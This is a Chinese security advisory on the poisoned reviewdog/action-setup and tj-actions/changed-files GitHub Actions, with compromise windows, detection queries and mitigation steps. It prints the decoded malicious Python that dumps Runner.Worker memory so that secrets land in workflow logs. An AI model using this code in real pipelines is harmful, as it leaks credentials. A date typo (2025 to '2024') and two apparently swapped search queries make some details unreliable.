一、背景
近日,GitHub Action组件 reviewdog/action-setup、tj-actions/changed-files 被投毒,在投毒窗口期间使用并触发了 GitHub Actions 工作流,则可能导致工作流配置中的敏感信息(例如 AWS 密钥、GitHub PAT、npm 令牌、私有 RSA 密钥等)泄露至 GitHub Actions Runner 日志。攻击者可进一步利用泄漏的密钥、令牌信息窃取企业敏感信息,或在公开仓库投毒(InvokeAI、langgenius等大模型平台、英伟达和微软等企业仓库已经受到影响)。
开源项目InvokeAI受影响Github Token泄漏
Github组织 tj-actions 开发者发现,攻击者通过窃取tj-actions 机器人账号的Personal Access Token (PAT)后植入恶意代码:
二、投毒窗口期(UTC+8)
reviewdog/action-setup: 2025年3月12日 02:31 至 2024年3月12日 23:16
tj-actions/changed-files: 2025年3月15日 00:57:45 至 2025年3月16日 07:25:45
三、投毒行为分析
投毒者分别在北京时间 2025年3月12日 02:31 和 2025年3月15日 00:57:45 往 reviewdog/action-setup 和 tj-actions/changed-files Github仓库中注入恶意代码,随后 tj-actions/changed-files 仓库的361个tag指向恶意Commit,如果组件版本使用的tag(如:tj-actions/changed-files@v45)而非哈希值则受影响:
reviewdog/action-setup 组件中的恶意代码
tj-actions/changed-files 组件中的恶意代码
其中 reviewdog/action-setup 组件中的恶意代码直接硬编码在其中,tj-actions/changed-files 组件中的恶意代码则通过从Github仓库(https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py)拉取,最终的恶意代码和 reviewdog/action-setup 组件中的相同,攻击者可能相同。
恶意代码从 Runner.Worker 进程内存中读取敏感信息并以双重编码的 base64 字符串的形式输出到工作流日志中,具有Github仓库访问权限的人可直接在 GitHub Actions Runner 日志中查看泄露的敏感信息,恶意代码解码后如下:
#!/usr/bin/env python3
...
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
投毒窗口期间接引用了投毒组件的 Github Action 组件同样受影响,例如 reviewdog/action-setup@v1 被以下组件引用:
reviewdog/action-shellcheck
reviewdog/action-composite-template
reviewdog/action-staticcheck
reviewdog/action-ast-grep
reviewdog/action-typos
四、排查方式
-
搜索GitHub仓库中是否引用投毒版本的组件
通过Github全局搜索,使用了投毒版本组件,并且含有Github Token、秘钥、环境变量敏感信息的高风险配置文件共约 8.6k 个。
1.1 reviewdog/action-setup 风险排查语法(其中的org可指定为需要排查的Github组织名):
org:<org> tj-actions/changed-files@v AND (env. OR secrets. OR TOKEN) language:yaml path:/^.github/workflows//
使用了 reviewdog/action-setup 投毒组件的Github文件
1.2 tj-actions/changed-files 风险排查语法:
org:<org> (reviewdog/action-setup@v1 OR reviewdog/action-shellcheck OR reviewdog/action-composite-template OR reviewdog/action-staticcheck OR reviewdog/action-ast-grep OR reviewdog/action-typos) AND secrets. language:yaml path:/^.github/workflows//
使用了 tj-actions/changed-files 投毒组件的Github文件
2. 在 Github Action Runner 日志中排查是否在投毒窗口期间执行了恶意的 Github Action,是否窃取的base64编码的敏感信息
五、缓解方案
-
替换 reviewdog/action-setup、tj-actions/changed-files 为安全组件
-
移除所有仓库针对 reviewdog/action-setup 和 tj-actions/changed-files 的引用
-
更换泄露的秘钥,并删除受影响的 workflow,清除对应的日志
六、参考链接
https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67
https://github.com/tj-actions/changed-files/issues/2464
https://github.com/reviewdog/action-setup/commit/f0d342
https://github.com/reviewdog/action-setup/commit/3f401fe
https://github.com/tj-actions/changed-files/issues/2464#issuecomment-2727020537
https://gist.github.com/stevebeattie/1847841fb3b1bfbf6d8449ae2fb0e8a2
原文始发于微信公众号(墨菲安全实验室):GitHub Actions 组件投毒风险频发,数千开源项目受到影响
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论